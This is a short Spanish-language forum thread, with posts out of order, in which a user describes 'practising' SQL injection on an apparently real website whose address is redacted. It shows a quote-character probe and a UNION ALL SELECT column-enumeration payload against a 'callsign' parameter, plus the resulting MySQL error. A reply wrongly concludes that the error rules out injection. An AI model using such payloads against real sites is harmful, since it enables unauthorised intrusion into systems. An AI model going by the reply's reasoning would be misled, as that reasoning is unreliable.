http://***/***.php?callsign=%22
http://***/***.php?callsign=%22+union+all+select+1,2,3,4,5,6,7--
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/***/***/***.php on line 11Your call sign hasn't been found.
Cita de: $francisco en Enero 02, 2014, 03:08:24 pmWarning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/***/***/***.php on line 11Your call sign hasn't been found.Bueno no conozco muy bien PHP ni MySQL, pero creo que dice que se proporciono un argumento no valido en una consulta, por lo que la consulta no se lleva acabo, asi que a mi parecer no puede ser suceptible a una inyeccion SQL porque no se puede ejecutar la consulta.
Muy buenas, estoy practicando, y encontré una web que me tira este error:Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/***/***/***.php on line 11Your call sign hasn't been found.aquí la inyección simple donde me tira el error::Código: [Seleccionar]http://***/***.php?callsign=%22y aquí lo que estoy poniendo:Código: [Seleccionar]http://***/***.php?callsign=%22+union+all+select+1,2,3,4,5,6,7-- Pero llega asta 25 y no sale la columna afectada, no sale nada.